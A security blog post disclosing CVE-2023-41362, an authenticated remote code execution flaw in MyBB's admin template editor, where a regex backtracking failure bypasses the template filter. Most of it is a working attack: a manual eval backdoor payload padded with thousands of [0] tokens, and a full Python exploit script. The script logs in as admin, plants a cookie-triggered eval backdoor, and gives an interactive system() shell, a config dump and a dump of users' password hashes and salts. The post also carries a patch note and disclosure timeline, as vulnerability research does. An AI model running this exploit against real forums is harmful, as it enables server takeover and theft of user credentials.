Skip to main content

MyBB Admin Panel RCE CVE-2023-41362

This blog post explores a critical vulnerability in MyBB’s admin panel, leading to authenticated Remote Code Execution (RCE). MyBB is a popular forum software with a template system that utilizes eval() to render templates.

We will discuss how this vulnerability in the admin panel’s template handling can be exploited for RCE.

We can change these templates in the admin panel. When we submit changes to templates they get put through the check_template() function in admin/functions.php. This function employs regex patterns to scan templates for specific patterns that may indicate malicious code.

function check_template($template){
	// Check to see if our database password is in the template
	if(preg_match('#\$config\[(([\'|"]database[\'|"])|([^\'"].*?))\]\[(([\'|"](database|hostname|password|table_prefix|username)[\'|"])|([^\'"].*?))\]#i', $template)) {
		return true;
	}

	// System calls via backtick
	if(preg_match('#\$\s*\{#', $template)){
		return true;
	}

	// Any other malicious acts?
	// Courtesy of ZiNgA BuRgA
	if(preg_match("~\\{\\$.+?\\}~s", preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', $template))){
		return true;
	}
	return false;
}

If check_template returns true the template will be rejected and we won’t be able to use it.

In the 3rd case the input is passed through preg_replace before being checked by the preg_match function.

In PHP the Perl Compatible REgex (PCRE) functions (preg_match, preg_replace etc.) have a pitfall where they don’t throw an exception when they reach their backtrack limit. In the case of preg_replace it will return an empty string when the backtrack limit is reached which allows us to bypass the last preg_match. The regex used here is complex enough that we can cause catastrophic backtracking with just {$a[0] with repeated [0] after it. This is a form of ReDoS (Regex Denial of Service).

You can use this tool to determine if a regex is abusable, it even generates strings that trigger these issues.

You can test the behaviour of the PCRE functions in a PHP shell (php -a):

php > echo ini_get('pcre.backtrack_limit');
1000000
php > echo preg_replace('~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\>|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\'"]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~', '', '{$a'.str_repeat('[0]',1891).'}TESTSTRING');
php >

This should print TESTSTRING but instead it will print nothing. Removing one (or more) of the [0] parts (by reducing the number of repeats) will let it be printed as the backtracking/stack/recursion limit hasn’t been reached.

Now that we can bypass this check all we have to do is include the type payload it was made to prevent in your template (we must still avoid the regex checks before it). The payload I went with was {$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}. Initially I thought I needed to find a useful function that was in the scope to use the {$x->()} format but we found that once we had a function we could do any php calls we needed. So we opted to use $db->insert_id() as it doesnt really have any effect after using it and doesn’t error loudly when it doesn’t get input.

Proof of Concept

Manually

To demonstrate this vulnerability manually, follow these steps:

  1. Login to admin panel
  2. Navigate to “Templates & Style” > “Templates” > “Default Templates.”
  3. Select a template (for instance, “Who’s Online Templates”) and click on “online.”
  4. Add the following payload to the top of the template:
<!--{$db->insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]}-->
  1. Click one of the Save buttons

Exploit script

#!/usr/bin/python3
# Exploit script for CVE-2023-41362
# https://blog.sorcery.ie/posts/mybb_acp_rce/
import requests
import html
import argparse
import logging
from base64 import b64encode

class CustomFormatter(logging.Formatter):
	yellow = "\x1b[33;20m"
	red = "\x1b[31;20m"
	bold_red = "\x1b[31;1m"
	reset = "\x1b[0m"
	format = "%(levelname)s: %(message)s"

	FORMATS = {
		logging.DEBUG: format,
		logging.INFO: "[*] %(message)s",
		logging.WARNING: yellow + format + reset,
		logging.ERROR: red + format + reset,
		logging.CRITICAL: bold_red + format + reset
	}

	def format(self, record):
		log_fmt = self.FORMATS.get(record.levelno)
		formatter = logging.Formatter(log_fmt)
		return formatter.format(record)

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
ch = logging.StreamHandler()
ch.setFormatter(CustomFormatter())
logger.addHandler(ch)

def get_postkey(text):
	return text.split('my_post_key" value="')[1].split('"')[0]

def send_php(php_code):
	return session.get(f"{target}/online.php",cookies={'1':b64encode(php_code.encode()).decode()}).text

def remove():
	logger.info("Removing payload from template")
	rm_payload = '$db->query("UPDATE {$db->table_prefix}templates SET template=SUBSTRING_INDEX(template,\'}-->\',-1) WHERE template LIKE \'%[0][0][0][0]%\'");'
	send_php(rm_payload)
	logger.warning("Payload removed")
	exit()

def dump_config():
	dump_config_payload = 'print_r($config);'
	print(send_php(dump_config_payload))

def dump_users():
	users_payload = '$q=$db->query("SELECT CONCAT_WS(\',\',uid,username,email,hex(regip),hex(lastip),password,salt) as x FROM {$db->table_prefix}users");while($r=$db->fetch_array($q)){print($r[\'x\'].PHP_EOL);}die();'
	logger.info(f"Saving user table to {domain}.txt")
	with open(f"{domain}.txt",'w') as f:
		f.write(send_php(users_payload))
	logger.info(f"Complete")

def shell():
	logger.info("Testing code exec...")
	page = send_php('echo "lmao";')
	if 'lmao' in page:
		logger.info("Shell is working")
	else:
		logger.warning("Shell doesnt seem to work correctly")
	logger.info("Special commands: exit (quit), remove (removes backdoor), config (prints mybb config), dump (dumps user table)")
	while True:
		command = input("Enter Command> ")
		if command in ['exit','quit']:
			break
		if command == 'remove':
			remove()
			continue
		if command == 'config':
			dump_config()
			continue
		if command == 'dump':
			dump_users()
			continue
		command = command.replace("'","\\'")
		page = send_php(f"system('{command}');")
		print(page)

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description="MyBB CVE-2023-41362 Exploit Script")
	parser.add_argument("target", help="Target URL (e.g., https://example.com)")
	parser.add_argument("username", help="Admin username")
	parser.add_argument("password", help="Admin password")
	parser.add_argument("--admincp", default="admin", help="Admin control panel path")
	parser.add_argument("--user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36", help="User Agent")
	args = parser.parse_args()
	target = args.target.rstrip("/")
	domain = args.target.split('://')[1].split('/')[0]
	admincp_path = args.admincp

	# login to admin
	session = requests.Session()
	session.headers.update({"User-Agent":args.user_agent})

	logger.info(f"Logging into {target}/{admincp_path}/ as {args.username}")
	login = session.post(f"{target}/{admincp_path}/index.php", data={"username":args.username, "password":args.password, "do":"login"})
	if '<p id="message" class="error">' in login.text:
		logger.error("Login Failed")
		exit()
	if 'This account has been locked out' in login.text:
		logger.error("Account has been locked out for failing login too many times")
		exit()

	# we should have admin panel access now
	page = session.get(f"{target}/{admincp_path}/index.php?module=style-templates&action=edit_template&title=online&sid=1").text
	postkey = get_postkey(page)
	existing_template = html.unescape(page.split('<textarea name="template" class="" id="template" style="width: 100%; height: 500px;" rows="5" cols="45">')[1].split('</textarea>')[0])
	tid = page.split('tid" value="')[1].split('"')[0]
	# using html comment to hide the insert_id() response of 0
	# payload uses a lot of [0]'s to trigger catastrophic regex backtracking to bypass filter
	payload = "<!--{$db->insert_id(isset($_COOKIE[1])?die(eval(base64_decode($_COOKIE[1]))):'')}{$a"+("[0]"*2000)+"}-->"
	if '[0][0][0][0][0]' in existing_template:
		logger.warning('Template already contains our payload code? Skipping to sending commands...')
	else:
		page = session.post(f"{target}/{admincp_path}/index.php?module=style-templates&action=edit_template",data={'my_post_key':postkey, 'tid':tid,'title':'online','sid':1,'template':f"{payload}{existing_template}","continue":"Save and Continue Editing"})
		if "The selected template has successfully been saved." in page.text:
			logger.info("Template saved!")
		else:
			logger.error("Template failed to save")
	shell()

Conclusion

In conclusion, this vulnerability in MyBB’s admin panel highlights the importance of rigorously checking the return values of PHP’s PCRE functions, as MyBB did in their patch, because the functions will return False on failure (which is different to the return value 0 when they don’t match). PHP also provides the preg_last_error_msg() and preg_last_error() functions which may be useful.

For web application security testers, we hope this post serves as a valuable resource for understanding and identifying similar issues. If you find any please let me know about it by email or on Fedi/Twitter.

Timeline

Date Action
12/08/2023 Reported bug to ZDI
24/08/2023 ZDI Rejected the bug on the grounds that a high level of admin access is required
25/08/2023 Reported issue to MyBB
28/08/2023 Patch and advisory released
30/08/2023 Number CVE-2023-41362 assigned
11/09/2023 Blog post and exploit released